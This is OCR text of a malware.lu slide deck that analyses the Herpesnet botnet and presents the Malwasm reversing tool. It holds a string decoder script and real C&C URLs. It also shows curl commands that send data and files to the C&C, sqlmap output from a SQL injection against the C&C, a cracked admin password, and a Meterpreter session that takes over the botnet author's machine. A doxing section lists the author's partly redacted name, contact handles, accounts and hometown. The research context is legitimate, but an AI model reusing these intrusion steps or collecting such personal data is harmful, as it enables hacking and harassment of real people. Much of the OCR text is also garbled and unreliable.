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Malware.lu Herpesnet Maly

Hmalware.lu PR

Presentation of the project malware.lu.
Mainteners list:

@ ©r00tbsd - Paul Rascagneres

@ @yOug - Hugo Caron

Malware.l ository of malware and technical analysls - Mozilla Firefox

malware. U™

Articles

reposiory of malware and n
‘'samples and technical analyses to security researchers.

Disclaimer:
Malware.lu contains malware 'damage brought equipment, incluc virus
mcmuu’d WMM ev“’mlmh%her“w‘“ n_vlmm": Wﬁmlﬂﬁﬁwﬂmr

quhmmmummmmm havean account. T ask ot an accoun plase send usan ama o
a usename and a short explanation about ‘Wwhy do you want an account’. Curently th “samples.

@©r00tbsd - Paul Rascagneres & Q@yOu,




Malware.lu

Some numbers Smalware.lu pRess:

~

The project in numbers:

4,070,784 Samples

25 articles

1000 users

1025 followers on twitter (@malwarelu)
7GB in database

3TB of malwares

(]

e © ¢ ¢ ¢
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Malware.lu Herpesnet Maly

Malware.lu screenshot Hmalware.lu e

Search | Articles | Events |8 Services |8 About Us

Malware.luis a y of | and technical The goal of the project is to provide samples and technical analyses t
security researchers.

Disclaimer:

Malware.lu contains malware samples. Malware.lu will not be held mponniblo for any dlmlDC hmught to your lqulpmcnt. including v
infection, caused by accessing, using or displaying this website or by any this website at y
own risk.

If you would like to download or submit samples, you need to have an account. To request an account, please send an email to

a username and a short explanation about "why you want an account”. Currently the database contains 4,070,784 samples. The complete list of
md5|sha1|sha256 can be found

Welcome rootbsd
AN . (s, s, svasc) -
Name: (beta search by name) [
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Malware.lu Herpesnet Malwasm

Malware.lu screenshot Hmalware.lu ppE:

Welcome rootbsd Download of b65f8e25fb1f24ad166c24b69fa600a8.zip
Zip password:
Downloads stats: 0 (unlimited) @[3 to download

Information:

md5: b65f8e25fb1f24ad 166c24b69fa600a8

sha1: e967731f2932976b1437e39a7894eea549797371

sha256: 04425a8121d334bd86415dc406939211afcff092d6a3ffc05b6a4972f0c68481

VT Report:

General

Detection ratio I

Checked on VT at 2012-08-04 15:17:24
Scanned at 2012-08-03 14:57:47
First seen 2012-08-03 14:57:47
Last seen 2012-08-03 14:57:47
File size 520192

L\
nprotect
mcafee
nod32
f_prot
symantec
norman
avast
esafe
clamav
kaspersky
bitdefender
comodo
f_secure
drweb
antivir
trendmicro
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Herpesnet

Funny summary of the presentation @)malware.u Pl

~
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Herpesnet

Introduction malware.lu PR

~

One of our user send us the sample of a botnet called herpesnet.
Sample hash is: db6779d497cb5e22697106e26eebfaa8.

We decided to make an analysis of this sample.
The sample is available here :
http://wuw.malware.lu/_search.php?md5=db6779d497cb5e22697106e26eebfaad
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http://www.malware.lu/_search.php?md5=db6779d497cb5e22697106e26eebfaa8

Herpesnet Analysis

Hmalware.lu ppE:

The malware is not packed, we are interested to decode the
configuration of the malware

sub_406FC Explanation

Bl leEy This part are in charge to decode

push  esi
mov x
xor
push
lea
mov
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
mov
call
push
call
add
mov
xor
mov
cmp
3z

dword_41c084 all strings

ebp

e yRun

The decode function (sub_403034)
SeisiA 2 2 is used to decode string stored in
szUrl2 J r r.ar r r ECX

szUr13

'serAgent

szFtp
szLoginFtp ! fmre

szPassword

Malware.lu overview




Herpesnet Analysis

Decoder Dmalware.lu pps

Script to decode the strings:

1| #!/usr /bin/env python

2| import sys

3| def decode(src):

4 r=""

5 for c in src:

6 ¢ = ord(c)

7 if ¢ < 0x6l or c > 0x7a

8 if ¢ < 0x41 or c > Oxba:

9 r += chr(c)

10 continue

11 x = (( ¢ — 0x41 ) % Oxla) + 0x41
12 else:

13 x = ((c — 0x54) % Oxla) + 0x61
14 r += chr(x)

15 return r

16| def main():

17 if len(sys.argv) != 2:

18 sys.exit(1)

19 f = open(sys.argv[l], 'rb")

20 f.seek(0xlae88, 0)

21 data = f.read(0x32f)

22 for d in data.split(”"\0"):

23 if len(d) = 0:

24 continue

25 print "%s : %s" % (d, decode(d))
26| if __name._. = " __main__":

27 main ()

decode.p
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Herpesnet Analysis

Decoder Dmalware.lu pps

Execution of the script

1| yOug@malware . lu:"/ herpes$ python decode—all.py db6779d497cb5e22697106e26eebfaa8
2| tcerfhygy : gpresultl

31 3.0 : 3.0

4| uggc://qq.mrebkpbqr.arg/urecarg/ : http://dd.zeroxcode.net/herpnet/
5| 74978 06rpp6p19836n17n3p2pq084000 : 74978 bbecc6cl19836al7a3c2cd0840b0
6| uggc://jjj.mrebkpbqr.arg/urecarg/ : http://www.zeroxcode.net/herpnet/
7| sgc.mrebkpbqr.arg : ftp.zeroxcode.net

8| uggc://sex7 .zvar.ah/urecarg/ : http://frk7 .mine.nu/herpnet/

9| hcybng@mrebkpbqr.arg : upload@zeroxcode . net

10| hcevg : uppit

11| ujsdsdbbngfgjhhuugfgfujd : hwfqfqooatstwuuhhtstshwq

12| rffggghooo : esstttubbb

13| Ashfurncsmx : Afusheapfzk

decode.bash
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Herpesnet

C&C contact

C&C

Hmalware.lu ppE:

consulting

The function used to build the request to the C&C is
sub_4059E0 (buildReq).

Call buildreq

1ext00406E 52 push  offset offsetUrl2 ; “uggc/jj mrebkpbor.arg/
1ext00406E ST lea eax [esp+10BCH]

text:00406ESE push eax

text:00406ESF call esi; st

text:00406E61 lea ecx, [esp+S

text:00406E65 call buildReq

@©r00tbsd - Paul Rascag

loush ecx

lpush  offset aUserandpeSAdmi; "userendpc=54stad

lea  ebx [esiv] 2C0]
push edi  ;LPSTR
mov byte pir [elad, 0

emp (sbp+var_10C),0
liz__shortioc_455AcE

bwldreq

lea  ed, [shprvar_108]

push ec
mov [ebpey m[c]w o
call ds:usprintfa

push ebx

lea  eex, [shprvar_108]

oo oo febpever_10C]
call doReq

Malware.lu overview

T
puch e
push
push ohetasis id=?
push edi
call - ds:
addd 10n

W

loc_405ACE:

edd  esi, 1062h

push esi

push ‘ofsetesun pho; 3ennl




Herpesnet

C&C contact malware.lu PR

~

The POST request looks like this:
userandpc=foo&admin=1&os=WindowsXP&hwid=2&ownerid=12345&version=3.0

&raminfo=256&cpuinfo=pl&hdiskinfo=12GO&uptime=3600&mining=0&pinfo=none
&vidinfo=none&laninf=none&id=23724

The field "id" is not required, if it not set the post request return a id to the
bot:
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Herpesnet Cc&C

C&C contact Hmalware.lu

7 itrust
#, consulting

~

add esp, 14h

push ehx ; dwFlags

push ehx ; IpszProxyBypass
push ehx ; IpszProxy

push ehx ; dwhccessType

push offsetszAgent ; "74%7506rppop19836n1 7n3p2pgladion”
mov  [ebp+148h+lpszAcceptTypes), offset asc_419568 ; "/
mov  [ebp+148h+var_1C4], ebx

call ds:InternetOpenA

~

The C&C check the user agent value. It must be equal to
74978bb6ecc6c19836a17a3c2cd0840b0.
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Herpesnet Cc&C

C&C contact Hmalware.lu ;

An example of curl command line to send information to the C&C:

itrust

consulting

yOug@malware . lu:”/ herpes$ curl —A \

74978 b6ecc6c19836a17a3c2cd0840b0 \

—d "userandpc=foo&admin=1&os=WindowsXP&hwid=2&ownerid =12345& version =3.0"\
"&raminfo=256&cpuinfo=pl&hdiskinfo=12G0&uptime=3600& mining=0&pinfo=none™\
"&vidinfo=none&laninf=none&id=23724"\

http://www.zeroxcode.net/herpnet/run.php

curl.bash

An example of curl command line to upload a file to the C&C:

yOug@malware . lu:~/ herpes$ curl —F upfile=Qtest.jpg —A \
74978 b6ecc6c19836a17a3c2cd0840b0 \
http://www.zeroxcode.net/herpnet/uploads/uppit.php
File caricato correttamente

curl2.bash
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Herpesnet Cc&C

Pown the C&C - Part 1 Hmalware.lu pps

By curiosity we tried to find SQLi on the URL:
http://www.zeroxcode.net/herpnet/run.php.

Place: POST
Parameter: id
Type: AND/OR time—based blind
Title: MySQL > 5.0.11 AND time—based blind
Payload: userandpc=foo&admin=1&os=WindowsXP&hwid=2&ownerid =12345
&version=3.0&raminfo=256&cpuinfo=pl&hdiskinfo=12GO
&uptime=3600& mining=0&pinfo=none&vidinfo=none&laninf=none
&id=23724" AND SLEEP(5) AND 'PtaQ’'='PtaQ

VO R W N

o)

9| ——
10
11| [08:22:41] [INFO] the back—end DBMS is MySQL

12| web server operating system: Windows 2008

13| web application technology: ASP.NET, Microsoft IS 7.5, PHP 5.3.10
14| back—end DBMS: MySQL 5.0.11

sglmap
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Herpesnet Cc&C

Pown the C&C - Part 1 Hmalware.lu R

With the SQLi we extract the tables names:

Database : herpnet
[7 tables]

|

clients
clinfo
commands
htickets
husers
paypalt
uploads

DUTRWN R

-
o =

e

T

database
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Herpesnet

Pown the C&C - Part 1 Hmalware.lu ppE:

And we extract the username and password of the malware's

author.

1]+ t
2| |id |username | password |
3 |
T |
41 1] Frk7|6e6bc4e49dd477ebc98ef4046c067b5f |
5|+ t

username

After a simple Google search:

1| 6e6bc4e49dd477ebc98ef4046c067b5f : ciao

password
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Herpesnet

C&C

Hmalware.lu phrs

consulting

C&C interface

C login page

zeroxcode.net;

£
EMost Visited v @ GettingStarted [JLatest Headlines v
@pisable~ R Cookies~

2/ Cssv EFormsv [Himagesv @Informationv [iMiscellaneous» J*Outlinev M@Resizev ¥ Tools~ View Source v [f] Opti

IT Security White Paper Simpiif F
: Password Manager Web-based F lal Doy
MOVEIt Central Automa cess. Request Ipswit
Logn

00tbsd - Paul Rascag

Hugo Ca
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Herpesnet Cc&C

C&C interface DMmalware.lu pRass

~

C&C panel page

® 3~

& [ zeroxcode.net;

B Most Visited v @Getting Started EJLatest Headlines v

@pisable L Cookiesv 2 CSS~ orms v E¥Images~ @Information~ [JMiscellaneousv P Outlinev @Resizev ¥ Tools~ View Source v [ Options v

- HErrEes

sk onsger 7 tnarce W cownins s Have a problem? Bots Oriine: 24
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Herpesnet Cc&C

C&C interface Hmalware.lu R

C&.C option

ad zeroxcode.net,
% Most Visited v @ Getting Started [JLatest Headlines v

@pisable~ % Cookies~ 2 €SS+ Forms~ [Mimages~ @information~ [ Miscellaneous~ ,?Outline v ev ¥Too View Source ¥ [ Options v

HErrPE

= Task Manager ce B Downoad serervas1 T suy pramum ¥ Have 2 poblem?

Bt Onine: 24
{Download/Execute

|system

\surveillance
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Herpesnet Cc&C

C&C interface Hmalware.lu prE:

3 o Bot Informations - Mozilla Firefox
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Herpesnet Cc&C

Pown the C&C - Part 2 Hmalware.lu ppE:

O~NDU A WN

Pl el
OrWN - O ©

16

@©r00tbsd - Paul Rascagneres & @yOug - Hugo Caron Malware.lu overview

We saw that the developer use a machine called
Frk7Test@FRK7TEST-D6EOBD.

We used his own functionnality to execute a meterpreter to its
workstation.

Meterpreter

msf exploit(handler) > exploit

* ]Started reverse handler on 94.21.200.63:4444

*] Starting the payload handler...

] Sending stage (752128 bytes) to 151.63.47.177

#] Meterpreter session 1 opened (94.21.200.63:4444 —> 151.63.47.177:53574)
meterpreter > screenshot

Screenshot saved to: /home/yOug/src/msf3/PtPVDrKD.jpeg

[
[
[
[

meterpreter > sysinfo

System Language : it_IT

0os : Windows XP (Build 2600, Service Pack3).
Computer : FRK7TEST—D6EOBD

Architecture : x86

Meterpreter : x86/win32

meterpreter >

meterpreter—1




Herpesnet Cc&C

Pown the C&C - Part 2 Hmalware.lu ppE:

1| meterpreter > Is

2| Listing: C:\ Documents and Settings\Frk7Test\Desktop\Herpes4Un

3

4| Mode Size Type Last modified Name

5 -

6] 40777/ rwxrwxrwx 0 dir Mon May 21 15:26:37 40200 2012

7| 40777/ rwxrwxrwx 0 dir Mon May 21 15:37:07 40200 2012 .

8| 40777/ rwxrwxrwx 0 dir Mon May 21 14:53:32 +0200 2012 Debug

9| 40777/ rwxrwxrwx 0 dir Mon May 21 16:06:41 +0200 2012 Herpes

10| 100666/ rw—rw—rw— 890 fil Mon May 07 20:42:22 +0200 2012 Herpes.sln
11| 100666/ rw—rw—rw— 167424 fil Mon May 21 16:14:06 +0200 2012 Herpes.suo
12| 40777 / rwxrwxrwx 0 dir Mon May 21 16:15:12 40200 2012 Release

13] 100777/ rwxrwxrwx 134 fil Mon May 07 20:42:12 +0200 2012 clean.bat
141 100666/ rw—rw—rw— 134 fil Mon May 07 20:42:22 +0200 2012 roba da fare.txt
15

16| meterpreter > download —r Herpes ./

e
[*] downloading: Herpes\antidebug.h —> .//antidebug.h
[*] downloaded : Herpes\antidebug.h —> .//antidebug.h

19| [*#] mirroring : Herpes\base64 —> .//base64
[*] downloading: Herpes\base64\base64.c —> .//base64/base64.c
[#*] downloaded : Herpes\base64\base64.c —> .//base64/base64.c
[#*] downloading: Herpes\base64\base64.h —> .//base64/base64.h

meterpreter—2
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Herpesnet

Pown the C&C - Part 2 ¥ 7 Ltrust

Fle Edt Vew Oplons Hep
e

& A

o T T T T R T S e N T T
MSBuid e 1 66.1.68 37.59.18.15 L http 7 356,261 Bytes 372.420Bytes  99.8KB/Sec
mioel0: o mueie  vees e w© o = o smine e
Eeted 08 o imieie sl i w 1y & s e 7o
s o0 ; el i i ,, :

iar B — T T
gﬁ;ﬂbw = oe T 192.168.1.68 20419314431 1183 L checksanasecurity.... http 8 1.498 Bytes 1,990 Bytes. 2.4KBjSec
e

g

shastese | ¢

00 00 00 00 00 05 63 68 65

sgee —

Svebast exo | 00000000 84 =

65 63 75 72 69 74 79 03  Ck.sanas ecurity.
con.

schost oce | 00000010 63
Systen 102 00000020 63
Systom

84 GE 8190 00 01 69 01 68 60 08 00 05 63 68 65
svaucsveed GOOOO010 63 6B OC 73 61 GE 61 73 65 63 75 72 69 74 79 03
smesee No0000020 63 GF 6D 00 00 61 00 01 CO oC 00 01 00 01 00 0O
asxe2¢ | g0000030 00 17 00 04 CC C1 90 1F

.....che
ck_sanas ecurity.

CJshow proc

6 1cP/1P conversaions, 1 Seected

Tstart [ ek & Agpicaton Data 1760 chackit dpnanamerc.. | BY porpes - crosche Ve, | 3 Windows Task Hanager [ &)1 raom
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Herpesnet Doxing

DOX| n g ‘1% mal.ware. |.U ; consulting

We realised some search to identify the maintener of the botnet.
We had his pseudo: frk7.

Real name
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Herpesnet Doxing

Dmalware.lu pps

acebook account

Email or Phane

facebook -

Francescotil»

is on Facebook.

To connact with Fra 5, sign up for Facobook today.

Francesco (D 4 Add Friend | ® Send Message

Wrong Francesco IR Try
Again

N T T )

Favorites

u overview
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Herpesnet

Doxing

Dmalware.lu

itrust

7
; consulting

Picasa account

£ google.com google.com
[ Most Visited v @ Getting Started [§]Latest Headlines v

@pDisable~ % Cookiesv 2 CSSv EFormsv Ejimages~ @Informationv L Miscellant
+You Search

3 1
4! Picasa

Explore Francesco

Gallery
- Profile Photos

Francesco

@©r00tbsd - Paul Rascagneres & Q@yOu,
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Herpesnet Doxing

Mmalware.lu PR

consulting

Frk7 3 Follow A~
Fri

rk7 Tweet 69

19
28

Tweets Ahahahah bellissimo gioco *.*

Frk7
HerpesNet v 3.5 released yesterday. Best stability and performance
on the market, provided by the Herpes team

Frk7
- Guys a new version is coming out in few hours, the only
thing | say it's the botkiller module :P Enjoy and Herpes the World :D

lu overview




Malware.lu  Herpesnet Malwasm Analysis C&C Doxing Conclusion

Doxing @ malware.lu Eiﬁr%i‘i

. .

CorLacts

you want contact me for
A for support
-Glving tips
-Gliving 3 work :D
-Insult me...lo!
Etc..
MSN: frk7 @live.it
Email: ¢ Lem. it
Skype: NabboSterminator

1'll reply in few hours.
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Herpesnet Doxing

Hmalware.lu ppE:

We found :

@ His real name : Francesco P*

4 email adress
1 skype account

1 facebook account

1 picasa account

°
°

°

@ 1 twitter account
°

@ The town where he lives ;)
°

a picture of his girlfriend...
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Herpesnet Conclusion

Conclusion Smalware.lu pRess:

~

Manage a botnet and put

personal data on the Internet is 1DON'T ALWAYS
not a wonderful idea. CREATEA BOTNET

3

Without huge ressources we
easily identified the manager of
an illegal activity.

. BUTWHENTDO, 1 60TE
POWNED
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Malwasm

Malwasm presentation Hmalware.lu prss

~

Malwasm is a opensource tool to help reverse engeener.

Malwasm is based on Cuckoo Sandbox.

Malwasm can be donwload here:
http://code.google.com/p/malwasm/

A online demo is available here: http://malwasm.com
(be patient with the server...)
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Malwasm

Malwasm presentation malware.lu PR

~

Malwasm step by step:

@ The malware to analyse is executed in a virtual machine with
cuckoo sandbox

@ All activities of the sample is stored in a database (Postgres)
@ a webservice is started to provide data stored in the database

@ the user uses his browser to visualize the data

@©r00tbsd - Paul Rascagneres & @yOug - Hugo Caron Malware.lu overview



Malwasm

Malwasm presentation Hmalware.lu prss

~

The activity of the malware is get by a Pintool devlopment.
Activities stored in the database:

(]

Register values
flags values
instuctions
stack

heap

data

e © ¢ ¢ ¢
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Malware.lu Herpesnet Malwasm

Malwasm presentation Hmalware.lu pr:

#, consulting
~ g

Screenshot of the user interface:

« 127.00.1 - P
@pisablev & Cookiesv » CsSv [JForms~ [@Imagesv @ Information~ [ Miscellaneous 7 Outline v Resizev ¥:Tools~ [MViewSource~ [fjOptions v
[l me
[ > [E B Poskicn:l 1165 | Rafesncs G Follow in dump:

. 6035
Thread: -
Open St Pause Step Undo 9. 6473

CPU Register

imp demo.exe:unnamedimageEntryPoint 400141
call demo.exe:unnamedimageEntryPoints0x12b1 FLAGS:

imp demo.exe:unnamedimageEntryPoint 0x011b
Stack Download | Show all

jmp demoexe:unnamedimageEntryPoints0x013c

imp demo.exe:unnamedimageEntryPoint«0x0159 =

Dump: | 00010000-00011000 % |Ishowas:| DWORD  : || Number group by line: | 4 - || Download | Show ail
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Malwasm

Malwasm presentation Hmalware.lu prss

~

Malwasm allows user to follow the execution of a sample (or part
of sample) as a classic debugger but allows to back in the time.
Malwasm brings a huge flexibility to reverser.

We identify real advantage to understand/rewrite encoder/decoder
and to unpack samples. In the case of a packer "on the heap” the
unpacker binary can be directly download through malwasm.
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Malwasm

Malwasm presentation Hmalware.lu prss

~

DEMO
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Malwasm

Malwasm presentation Hmalware.lu prss

~

Malwasm can be placed between static and dynamic analysis.

Malwasm is open source, so try it and if you like it do not hesitate
to help us to add additionnal features !!!
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